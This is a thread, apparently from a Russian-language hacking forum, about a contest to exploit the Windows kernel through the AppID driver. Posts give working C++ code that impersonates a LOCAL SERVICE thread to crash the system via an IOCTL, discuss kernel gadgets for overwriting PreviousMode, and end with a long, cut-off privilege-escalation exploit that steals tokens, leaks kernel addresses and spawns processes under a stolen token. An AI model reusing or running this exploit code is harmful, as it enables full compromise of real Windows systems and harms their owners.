• XSS.stack #1 – первый литературный журнал от юзеров форума

XSS PWN-Day - БИТВА ЗА РЕСПЕКТ 0x01 | Атакуем ядро Windows

Скрытое содержимое
Скрытый контент для пользователей: .
 
Последнее редактирование:
https://github.com/4d61726b/VirtualKD-Redux - вот софт для супер простой настройки виндбг, подключается к отладчику почти из коробки. А для самого windbg надо знать буквально десяток базовых команд чтобы работать. dt, dq (и остальные d*), u/uf, ld, r, p, t, bp и еще пара других. Коллстэк можешь глянуть в View/Call Stack. Вот этого вроде бы должно хватить для bsod-a.
Ух ты, спасибо огромное, пойду чтоль порешаю тогда уж

Ух ты, спасибо огромное, пойду чтоль порешаю тогда уж
Чисто теоретически, виндбг будет с флешки работать? Чтобы все портативненько было
 
Запустил сервис, получил SeDebugPrivilege, вызвал NtImpersonateThread на поток из svchost.exe (Audiosrv) с нужными правами, в токене потока появился нужный SID, но при вызове DeviceIoControl возвращает false, GLE: ACCESS_DENIED (5), NtDeviceIoControlFile возвращает тоже ACCESS_DENIED (0xC0000022), в чем может быть причина?
UPD: разобрался, посмотрел как сервис вызывает DeviceIoControl, ошибка была во втором параметре CreateFile, был 0, теперь 0x40000000u

Решение первой задачи:
Код:
C++:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")

EXTERN_C NTSYSAPI NTSTATUS NTAPI NtImpersonateThread(
    IN HANDLE               ThreadHandle,
    IN HANDLE               ThreadToImpersonate,
    IN PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);

bool EnableDebugPrivilege()
{
    HANDLE hToken = nullptr;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE;
    TOKEN_PRIVILEGES tokenPriv;
    tokenPriv.PrivilegeCount = 1;
    tokenPriv.Privileges[0].Luid = luid;
    tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE;
    return TRUE;
}

bool ImpersonateThread()
{
    bool result = false;
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
    if (h != INVALID_HANDLE_VALUE) {
        DWORD pid = 0;


        // Get parent of audiodg.exe - svchost.exe with NT AUTHORITY/LOCAL SERVICE
        PROCESSENTRY32 pe;
        pe.dwSize = sizeof(pe);
        if (Process32First(h, &pe)) {
            do {
                if (pe.szExeFile == std::wstring(L"audiodg.exe")) {
                    pid = pe.th32ParentProcessID;
                    break;
                }
            } while (Process32Next(h, &pe));
        }

        if (pid) {
            THREADENTRY32 te;
            te.dwSize = sizeof(te);
            if (Thread32First(h, &te)) {
                do {
                    if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
                        sizeof(te.th32OwnerProcessID)) {
                        if (pid == te.th32OwnerProcessID) {
                            HANDLE hThread = OpenThread(THREAD_DIRECT_IMPERSONATION, 0, te.th32ThreadID);
                            if (hThread) {
                                SECURITY_QUALITY_OF_SERVICE SecurityQos = { 0 };

                                SecurityQos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
                                SecurityQos.ImpersonationLevel = SecurityImpersonation;

                                NTSTATUS status = NtImpersonateThread(GetCurrentThread(), hThread, &SecurityQos);
                                result = status == 0;
                                printf("Process %d Thread %d, status: 0x%X\n",
                                    te.th32OwnerProcessID, te.th32ThreadID, status);
                                CloseHandle(hThread);
                            }
                            break;
                        }
                    }
                    te.dwSize = sizeof(te);
                } while (Thread32Next(h, &te));
            }
        }
        CloseHandle(h);
    }

    return result;
}

void MakeBSOD()
{
    HANDLE hDevice = CreateFileW(L"\\\\.\\AppID",
        0x40000000u,
        FILE_SHARE_READ |
        FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Device not found, GLE: %d\n", GetLastError());
        return;
    }
    uint8_t buffer[0x18] = { 0 };
    DWORD returned;

    BOOL bResult = DeviceIoControl(hDevice,
        0x22A018,
        buffer, sizeof(buffer),
        buffer, sizeof(buffer),
        &returned,
        (LPOVERLAPPED)NULL);

    printf("DeviceIoControl result: %s, GLE: %d\n", bResult ? "true" : "false", GetLastError());
    system("pause");

    CloseHandle(hDevice);
}

int main() {
    system("sc start appidsvc");
    if (!EnableDebugPrivilege()) {
        printf("EnableDebugPrivilege failed\n");
        return 1;
    }

    if (!ImpersonateThread()) {
        printf("ImpersonateThread failed\n");
        return 1;
    }

    MakeBSOD();
    return 0;
}
 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Для решения второй задачи может подойти функция, содержащая в своем названии слова "Copy" и "Data".

На текущий момент у нас есть еще один участник, выполнивший задачу №1. До конца конкурса остается два дня. Поторопитесь.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
PopEtDataSectionCopyData
 
я правильно понимаю, что эта функция полезна только для win11 версии (где размер бафера 0x20)?

[rcx+18h] не подходит для win10, где размер буфера всего 0x18, все остальное вроде проходит

```
PAGE:00000001406F3752 mov rcx, [rcx+18h] ; void *
PAGE:00000001406F3756 mov r8d, esi ; Size
PAGE:00000001406F3759 call memmove
```
 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
Последнее редактирование:
понял.

Я сразу как понял про размер буфера подумал что на вин11 может быть чуть легче ввиду возможности использования двух поинтеров (rcx+0 и rcx+18)

Я пытался найти гаджет для вин10, прошелся ROPgadget'ом по ntoskrnl, спустя несколько часов нашел подходящий гаджет , который находился в функции KiVerifyXcptFilter, который можно использовать для переполнения PreviousMode (путем inc dword ptr[rcx] 0x1->0x100)

```
INIT:0000000140A8AAAB mov rcx, [rcx]
INIT:0000000140A8AAAE inc dword ptr [rcx]
INIT:0000000140A8AAB0 jmp loc_140A69AAD
INIT:0000000140A8AAB0 ; END OF FUNCTION CHUNK FOR KiVerifyXcptFilter
INIT:0000000140A69AAD loc_140A69AAD: ; CODE XREF: KiVerifyXcptFilter+21014↓j
INIT:0000000140A69AAD mov eax, 1
INIT:0000000140A69AB2 retn
```

но оказалось что эта секция - по какой-то причине меняется в рантайме, код который расположен по этому адресу после инита системы совсем другой, не знаю в чем причина. Пробовал искать дальше. Только по .text секции (чтобы избежать повторной участи с изменением кода в загруженной системе). Пробежался по всем вхождениям чтения поинтера из rcx, но ничего подходящего не нашел.

В общем интересно провел время, узнал что-то новое. Спасибо за конкурс, если будут еще - обязательно попробую свои силы
 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
спустя несколько часов нашел подходящий гаджет , который находился в функции KiVerifyXcptFilter
Кек, сейчас у себя посмотрел, я ее отмечал тоже, но не тестил. Тоже использовал аналогичный подход в поиске гаджета по опкодам. Потом просто смотрел функции по словам типа "Copy", "Delete", "Move" и наткнулся.

В общем интересно провел время, узнал что-то новое. Спасибо за конкурс, если будут еще - обязательно попробую свои силы
Я рад, что было интересно. После завершения жди свой заслуженный Премиум.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Конкурс завершен.
Просьба участников, которые еще не предоставили код на проверку, прислать свои решения в ЛС.
Подведение итогов начнется 04.04.24
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Итоги первого конкурса XSS PWN-Day.

Вот и подошел к концу наш первый мини-конкурс по тематике исследования уязвимостей и разработке эксплойтов. Рождение его было спонтанным, а проведение рискованным из-за раскрытия деталей ресерчерами из твиттера в ближайшее время. Но мы успели, отчасти…

Как прошел конкурс?

Буквально с двух ног в конкурс влетел Vexer2k. Он продемонстрировал решение третьей задачи, объяснил нюансы работы эксплойта и написал вспомогательный скрипт для нахождения GFIDS-функций. Он провел ту работу, которую должен был выполнить участник, претендующий на звание «Эксперт». В своем эксплойте он использовал технику с декрементом PreviousMode через ObfDereferenceObject.

Но потом что-то пошло не так. Через сутки Vexer2k выложил код на гитхаб, хотя я попросил его не делать этого до завершения конкурса. Респект ты в любом случае уже заслужил, звание Эксперта тоже, но чисто по-человечески это было неуважительно по отношению к другим участникам. Мы за ситуацией пристально наблюдали, но решили продолжить конкурс и проверять код по факту. В следующий раз будем явно указывать этот момент в правилах с последующим баном.

Следующим первую задачу сдал unhappyangel по факту зная, как выполнить вторую. Так уж вышло, что гаджет в подсказке подходит только для Windows 11. unhappyangel сделал правильные выводы и в дизассемблерном листинге показал почему на его машине это сделать невозможно. Также им была показана интересная идея с обнулением через инкремент PreviousMode. Увы, но нерабочая в текущих условиях. Аналогичная техника применялась здесь.

Победители

В данном конкурсе призовые места не задумывались. Поэтому опубликую в порядке сдачи и награды.

1. Vexer2k получает звание Эксперт.
2. unhappyangel получает Premium на год.

Благодарности

Спасибо weaver и admin за поддержание инициативы, помощь в организации и советы.
Спасибо также bratva за идею с премиумами. Это подтолкнуло к созданию конкурса.
Спасибо всем участникам за проявленный интерес. Надеюсь, что вы почерпнули для себя что-то новое.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
C:
#include <windows.h>
#include <sddl.h>
#include <stdio.h>
#include <stdint.h>
#include "Common.h"

pNtAdjustPrivilegesToken NtAdjustPrivilegesToken = NULL;
pNtOpenProcessToken NtOpenProcessToken = NULL;
pNtOpenProcess NtOpenProcess = NULL;
pNtWriteVirtualMemory NtWriteVirtualMemory = NULL;
pNtDuplicateToken NtDuplicateToken = NULL;
pNtSetInformationThread NtSetInformationThread = NULL;
pNtQueryInformationToken NtQueryInformationToken = NULL;
pNtClose NtClose = NULL;
pNtDeviceIoControlFile NtDeviceIoControlFile = NULL;
pNtCreateFile NtCreateFile = NULL;
pNtQuerySystemInformation NtQuerySystemInformation = NULL;
pRtlInitUnicodeString RtlInitUnicodeString = NULL;
pRtlGetVersion RtlGetVersion = NULL;

HANDLE currentProcessHandle = ((HANDLE)(LONG_PTR)-1);
HANDLE currentThreadHandle = ((HANDLE)(LONG_PTR)-2);

void stealToken(HANDLE* duplicateTokenHandleOut, int64_t dwPid);

int init_ntdll()
{
    HMODULE hNtdll = GetModuleHandleW(L"ntdll");
    if (hNtdll == NULL)
    {
        wprintf(L"[!] Failed to load ntdll.dll! (Error code: %d)\n", GetLastError());
        return 0;
    }

    RtlGetVersion = (pRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
    NtAdjustPrivilegesToken = (pNtAdjustPrivilegesToken)GetProcAddress(hNtdll, "NtAdjustPrivilegesToken");
    NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    NtOpenProcessToken = (pNtOpenProcessToken)GetProcAddress(hNtdll, "NtOpenProcessToken");
    NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");
    NtDuplicateToken = (pNtDuplicateToken)GetProcAddress(hNtdll, "NtDuplicateToken");
    NtSetInformationThread = (pNtSetInformationThread)GetProcAddress(hNtdll, "NtSetInformationThread");
    NtQueryInformationToken = (pNtQueryInformationToken)GetProcAddress(hNtdll, "NtQueryInformationToken");
    NtClose = (pNtClose)GetProcAddress(hNtdll, "NtClose");

    NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
    RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
    NtCreateFile = (pNtCreateFile)GetProcAddress(hNtdll, "NtCreateFile");
    NtDeviceIoControlFile = (pNtDeviceIoControlFile)GetProcAddress(hNtdll, "NtDeviceIoControlFile");

    if (!NtAdjustPrivilegesToken && !NtOpenProcess && !NtDuplicateToken && !NtOpenProcessToken
        && !NtSetInformationThread && !NtQueryInformationToken && !NtClose &&
        !NtQuerySystemInformation && !RtlInitUnicodeString && !NtCreateFile && !NtDeviceIoControlFile && !RtlGetVersion && !NtWriteVirtualMemory)
    {
        wprintf(L"[!] Failed to resolve ntdll functions\n");
        return 0;
    }

    return 1;
}

void spawnShell(HANDLE duplicatedTokenHandle, int64_t dwPid)
{
    WCHAR selfPath[MAX_PATH] = { 0 };
    if (!GetModuleFileNameW(NULL, selfPath, 100)) {
        wprintf(L"Failed to get module file name.\n");
        return -1;
    }
    WCHAR cmdLine[MAX_PATH] = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFO si = { 0 };

    if (dwPid != 0)
    {   
        if (swprintf_s(cmdLine, MAX_PATH, L"%s %lld 0", selfPath, dwPid) == -1) {
            wprintf(L"ERROR: Failed to format command line.\n");
            return -1;
        }
    }
    else
    {
        if (wcscpy_s(cmdLine, MAX_PATH, selfPath) != 0) {
            wprintf(L"ERROR: Failed to copy selfPath to cmdLine.\n");
            return -1;
        }
    }

    // Set up STARTUPINFO
    si.cb = sizeof(si);
    si.lpDesktop = L"Winsta0\\Default";
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;

    // This will fail with ACCESS_DENIED if the local service doesn't have the permissions to access the directory
    BOOL bResult = CreateProcessAsUserW(
        duplicatedTokenHandle,
        NULL,
        cmdLine,
        NULL,
        NULL,
        FALSE,
        0,
        NULL,
        NULL,
        &si,
        &pi
    );

    if (!bResult) {
        wprintf(L"CreateProcessAsUserW failed with error %ld\n", GetLastError());
    }
    else {
        wprintf(L"Process created successfully.\n");
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
}

BOOL IsRunningAsSystem() {
    HANDLE tokenHandle = NULL;
    NTSTATUS status;
    PTOKEN_USER pTokenUser = NULL;
    ULONG dwSize = 0;
    LPWSTR sidString = NULL;
    BOOL result = FALSE;

    status = NtOpenProcessToken(currentProcessHandle, TOKEN_QUERY, &tokenHandle);
    if (status != 0) {
        wprintf(L"NtOpenProcessToken failed. Status: 0x%x\n", status);
        return FALSE;
    }

    status = NtQueryInformationToken(tokenHandle, TokenUser, NULL, 0, &dwSize);
    if (status != 0xC0000023) {
        wprintf(L"NtQueryInformationToken (1) failed. Status: 0x%x\n", status);
        NtClose(tokenHandle);
        return FALSE;
    }

    pTokenUser = (PTOKEN_USER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
    if (!pTokenUser) {
        wprintf(L"HeapAlloc failed.\n");
        NtClose(tokenHandle);
        return FALSE;
    }

    status = NtQueryInformationToken(tokenHandle, TokenUser, pTokenUser, dwSize, &dwSize);
    if (status != 0) {
        wprintf(L"NtQueryInformationToken (2) failed. Status: 0x%x\n", status);
        HeapFree(GetProcessHeap(), 0, pTokenUser);
        NtClose(tokenHandle);
        return FALSE;
    }

    if (!ConvertSidToStringSidW(pTokenUser->User.Sid, &sidString)) {
        wprintf(L"ConvertSidToStringSidW failed.\n");
        HeapFree(GetProcessHeap(), 0, pTokenUser);
        NtClose(tokenHandle);
        return FALSE;
    }

    // NT AUTHORITY\LOCAL SERVICE
    if (_wcsicmp(sidString, L"S-1-5-19") == 0) {
        result = TRUE;
    }

    LocalFree(sidString);
    HeapFree(GetProcessHeap(), 0, pTokenUser);
    NtClose(tokenHandle);

    return result;
}

int wmain(int argc, wchar_t* argv[])
{   
    if (!init_ntdll())
    {
        return -1;
    }

    if (IsRunningAsSystem()) {
        wprintf(L"The process is running as NT AUTHORITY\\LOCAL SERVICE.\n");
        exploit();
        ExitProcess(0);
    }
    else {
        wprintf(L"The process is not running as NT AUTHORITY\\LOCAL SERVICE.\n");

        if (3 != argc)
        {
            wprintf(L"Usage: %ls <winlogon PID> <service PID>", argv[0]);
            return -1;
        }

        HANDLE duplicatedTokenHandle = NULL;
        int64_t dwPid = 0;
        int64_t dwPid2 = 0;
        dwPid = _wtoi(argv[1]);
        dwPid2 = _wtoi(argv[2]);
        if (!dwPid && !dwPid2)
        {
            wprintf(L"PIDs must be numeric.\r\n");
            return -2;
        }
        wprintf(L"[+] Stealing token from process #%lld.\r\n", dwPid);
        stealToken(&duplicatedTokenHandle, dwPid);
        if (!duplicatedTokenHandle)
        {
            wprintf(L"Token stealing failed.\r\n");
            return -3;
        }
        spawnShell(duplicatedTokenHandle, dwPid2);
    }
    
    return 0;
}

void stealToken(HANDLE* duplicateTokenHandleOut, int64_t dwPid)
{
    HANDLE targetProcessHandle = NULL;
    HANDLE duplicatedTokenHandle = NULL;
    HANDLE currentTokenHandle = NULL;
    NTSTATUS Status;
    TOKEN_PRIVILEGES tp;

    Status = NtOpenProcessToken(currentProcessHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &currentTokenHandle);
    CHECK_STATUS(L"NtOpenProcessToken() returned ", Status);

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid.HighPart = 0;
    tp.Privileges[0].Luid.LowPart = LUID_SE_DEBUG;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    Status = NtAdjustPrivilegesToken(currentTokenHandle, FALSE, &tp, sizeof(tp), NULL, NULL);
    if(Status != STATUS_NOT_ALL_ASSIGNED)
        CHECK_STATUS(L"NtAdjustPrivilegesToken() #1 returned ", Status);

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid.HighPart = 0;
    tp.Privileges[0].Luid.LowPart = LUID_SE_IMPERSONATE;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    Status = NtAdjustPrivilegesToken(currentTokenHandle, FALSE, &tp, sizeof(tp), NULL, NULL);
    if (Status != STATUS_NOT_ALL_ASSIGNED)
        CHECK_STATUS(L"NtAdjustPrivilegesToken() #2 returned ", Status);

    DWORD dwDesiredAccess;
    OBJECT_ATTRIBUTES Obja;
    CLIENT_ID ClientId;

    dwDesiredAccess = PROCESS_QUERY_INFORMATION;
    ClientId.UniqueThread = NULL;
    ClientId.UniqueProcess = (HANDLE)(dwPid);
    InitializeObjectAttributes(&Obja, NULL, 0, NULL, NULL, NULL);

    Status = NtOpenProcess(&targetProcessHandle, dwDesiredAccess, &Obja, &ClientId); // Cannot access PPL processes
    CHECK_STATUS(L"NtOpenProcess() returned ", Status);

    HANDLE targetTokenHandle = NULL;

    Status = NtOpenProcessToken(
        targetProcessHandle,
        TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
        &targetTokenHandle);
    CHECK_STATUS(L"NtOpenProcessToken() returned ", Status);

    OBJECT_ATTRIBUTES Obja2;
    SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;

    SecurityQualityOfService.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
    SecurityQualityOfService.ImpersonationLevel = SecurityImpersonation;
    SecurityQualityOfService.ContextTrackingMode = FALSE;
    SecurityQualityOfService.EffectiveOnly = FALSE;
    InitializeObjectAttributes(&Obja2, NULL, 0, NULL, NULL, &SecurityQualityOfService);

    Status = NtDuplicateToken(
        targetTokenHandle,
        MAXIMUM_ALLOWED,
        &Obja2,
        FALSE,
        TokenImpersonation,
        &duplicatedTokenHandle);
    CHECK_STATUS(L"NtDuplicateToken() returned ", Status);

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid.HighPart = 0;
    tp.Privileges[0].Luid.LowPart = LUID_SE_ASSIGNPRIMARYTOKEN;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    Status = NtAdjustPrivilegesToken(duplicatedTokenHandle, FALSE, &tp, sizeof(tp), NULL, NULL);
    if(Status != STATUS_NOT_ALL_ASSIGNED)
        CHECK_STATUS(L"NtAdjustPrivilegesToken() #1 returned ", Status);

    Status = NtSetInformationThread(
        currentThreadHandle,
        ThreadImpersonationToken,
        (PVOID)&duplicatedTokenHandle,
        sizeof(duplicatedTokenHandle));
    CHECK_STATUS(L"NtSetInformationThread() returned ", Status);

    *duplicateTokenHandleOut = duplicatedTokenHandle;
}


Код:
#include "Common.h"

void* CheckWindowsVersionAndSetOffsets(size_t* kthreadoffset, OSVERSIONINFOEXW* osInfo)
{
    osInfo->dwOSVersionInfoSize = sizeof(*osInfo);

    NTSTATUS status = RtlGetVersion(osInfo);
    if (status != STATUS_SUCCESS) {
        wprintf(L"Failed to get OS version\n");
        return NULL;
    }

    wprintf(L"[+] Windows version: %lu.%lu Build %lu\n", osInfo->dwMajorVersion, osInfo->dwMinorVersion, osInfo->dwBuildNumber);

    *kthreadoffset = 0x232; // PreviousMode offset
    void* userbuffer = NULL;

    if (osInfo->dwBuildNumber < 22000) {
        userbuffer = malloc(sizeof(USER_BUFFER_W10));
    }
    else {
        userbuffer = malloc(sizeof(USER_BUFFER_W11));
    }

    return userbuffer;
}

UINT_PTR GetETHREADAddress()
{
    NTSTATUS status;
    HANDLE hCurrentThreadPseudoHandle = ((HANDLE)(LONG_PTR)-2);
    HANDLE hDuplicatedHandle = NULL;
    UINT_PTR tokenAddress = 0;
    ULONG ulBytes = 0;
    PSYSTEM_HANDLE_INFORMATION handleTableInfo = NULL;

    BOOL success = DuplicateHandle(
        ((HANDLE)(LONG_PTR)-1),
        hCurrentThreadPseudoHandle,
        ((HANDLE)(LONG_PTR)-1),
        &hDuplicatedHandle,
        0,
        FALSE,
        DUPLICATE_SAME_ACCESS);

    if (!success)
    {
        wprintf(L"Failed to duplicate handle. Error: %lu\n", GetLastError());
        return 1;
    }

    while ((status = NtQuerySystemInformation(SystemHandleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        if (handleTableInfo != NULL)
        {
            handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
        }

        else
        {
            handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
        }
    }

    if (status == 0)
    {
        for (ULONG i = 0; i < handleTableInfo->NumberOfHandles; i++)
        {
            if (handleTableInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() && handleTableInfo->Handles[i].HandleValue == (USHORT)hDuplicatedHandle)
            {
                tokenAddress = (UINT_PTR)handleTableInfo->Handles[i].Object;
                break;
            }
        }
    }
    else
    {
        if (handleTableInfo != NULL)
        {
            wprintf(L"[!] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
            HeapFree(GetProcessHeap(), 0, handleTableInfo);
            CloseHandle(hDuplicatedHandle);
            return 0;
        }
    }

    HeapFree(GetProcessHeap(), 0, handleTableInfo);

    return tokenAddress;
}

UINT_PTR GetFILE_OBJECT_Address()
{
    NTSTATUS status;
    HANDLE hDuplicatedHandle = NULL;
    UINT_PTR tokenAddress = 0;
    ULONG ulBytes = 0;
    PSYSTEM_HANDLE_INFORMATION handleTableInfo = NULL;

    HANDLE hFile = CreateFileW(L"C:\\Users\\Public\\example.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        wprintf(L"Failed to duplicate handle. Error: %lu\n", GetLastError());
        return 1;
    }
    // Allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
    while ((status = NtQuerySystemInformation(SystemHandleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        if (handleTableInfo != NULL)
        {
            handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
        }

        else
        {
            handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
        }
    }

    if (status == 0)
    {
        for (ULONG i = 0; i < handleTableInfo->NumberOfHandles; i++)
        {
            if (handleTableInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() && handleTableInfo->Handles[i].HandleValue == (USHORT)hFile)
            {
                tokenAddress = (UINT_PTR)handleTableInfo->Handles[i].Object;
                break;
            }
        }
    }
    else
    {
        if (handleTableInfo != NULL)
        {
            wprintf(L"[!] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
            HeapFree(GetProcessHeap(), 0, handleTableInfo);
            CloseHandle(hDuplicatedHandle);
            return 0;
        }
    }

    HeapFree(GetProcessHeap(), 0, handleTableInfo);

    return tokenAddress;
}

UINT_PTR GetKernelModuleAddress(const char* TargetModule)
{
    NTSTATUS status;
    ULONG ulBytes = 0;
    PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL;

    while ((status = NtQuerySystemInformation(SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        if (handleTableInfo != NULL)
        {
            handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
        }

        else
        {
            handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
        }
    }

    if (status == 0)
    {
        for (ULONG i = 0; i < handleTableInfo->ModulesCount; i++)
        {
            char* moduleName = strstr(handleTableInfo->Modules[i].Name, TargetModule);
            if (moduleName != NULL)
            {
                return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress;
            }
        }
    }
    else
    {
        if (handleTableInfo != NULL)
        {
            wprintf(L"[!] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
            HeapFree(GetProcessHeap(), 0, handleTableInfo);
            return 0;
        }
    }

    HeapFree(GetProcessHeap(), 0, handleTableInfo);

    return 0;
}

int SendRequest(HANDLE hDevice, PVOID inputbuffer, size_t inputbufferLen)
{
    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status;
    ULONG dwbytesreturned = 0;

    status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_AipSmartHashImageFile, inputbuffer, inputbufferLen, NULL, dwbytesreturned);

    if (status == NOERROR)
    {
        return 1;
    }
    else
    {
        wprintf(L"[!] NtDeviceIoControlFile failed with 0x%X\n", status);
        return 0;
    }
}

BOOL ScanSectionForPattern(HANDLE hProcess, LPVOID lpBaseAddress, SIZE_T dwSize, BYTE* pattern, SIZE_T patternSize, LPVOID* lpFoundAddress) {
    BYTE* buffer = (BYTE*)malloc(dwSize);
    SIZE_T bytesRead;

    if (!ReadProcessMemory(hProcess, lpBaseAddress, buffer, dwSize, &bytesRead)) {
        free(buffer);
        return FALSE;
    }

    for (SIZE_T i = 0; i < dwSize - patternSize; i++) {
        BOOL found = TRUE;
        for (SIZE_T j = 0; j < patternSize; j++) {
            if (buffer[i + j] != pattern[j]) {
                found = FALSE;
                break;
            }
        }
        if (found) {
            *lpFoundAddress = (LPVOID)((DWORD_PTR)lpBaseAddress + i);
            free(buffer);
            return TRUE;
        }
    }

    free(buffer);
    return FALSE;
}

UINT_PTR FindPattern(HMODULE hModule)
{
    UINT_PTR relativeOffset = 0;

    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)hModule + pDosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);

    LPVOID lpFoundAddress = NULL;

    for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
        if (strcmp((CHAR*)pSectionHeader[i].Name, "PAGE") == 0) {
            LPVOID lpSectionBaseAddress = (LPVOID)((LPBYTE)hModule + pSectionHeader[i].VirtualAddress);
            SIZE_T dwSectionSize = pSectionHeader[i].Misc.VirtualSize;

            // Pattern of bytes for nt!ExpProfileDelete
            // Learned hard way that CFG is such sensitive to even missing a single byte
            BYTE pattern[] = {0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, 0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74};
            SIZE_T patternSize = sizeof(pattern);

            if (ScanSectionForPattern(GetCurrentProcess(), lpSectionBaseAddress, dwSectionSize, pattern, patternSize, &lpFoundAddress)) {
                printf("\t[*] ExpProfileDelete function found in the PAGE section of ntoskrnl.exe.\n");
                printf("\t[*] Starting address of ExpProfileDelete: 0x%p\n", lpFoundAddress);

                // Calculate the relative offset
                relativeOffset = (UINT_PTR)lpFoundAddress - (UINT_PTR)hModule;
                printf("\t[*] Relative offset of ExpProfileDelete: 0x%p\n", (LPVOID)relativeOffset);
            }
            else {
                printf("\t[!] ExpProfileDelete function not found in the PAGE section of ntoskrnl.exe.\n");
            }

            break;
        }
    }

    return relativeOffset;
}

int exploit()
{
    size_t offsetOfPreviousMode = 0;
    size_t bufferLength = 0;
    OSVERSIONINFOEXW osInfo = { 0 };
    CFG_FUNCTION_WRAPPER cfgFunction = { 0 };
    void* userBuffer = CheckWindowsVersionAndSetOffsets(&offsetOfPreviousMode, &osInfo);

    if (!userBuffer) {
        wprintf(L"Failed to allocate or determine the correct user buffer.\n");
        return -1; // Error handling
    }

    ULONG_PTR PrevMode = NULL;
    NTSTATUS status;
    DWORD dwBytesReturned = 0;
    HANDLE hDevice, eventHandle = NULL;
    UNICODE_STRING deviceName;
    OBJECT_ATTRIBUTES objAttr;
    IO_STATUS_BLOCK ioStatus;
    RtlInitUnicodeString(&deviceName, L"\\Device\\AppID");
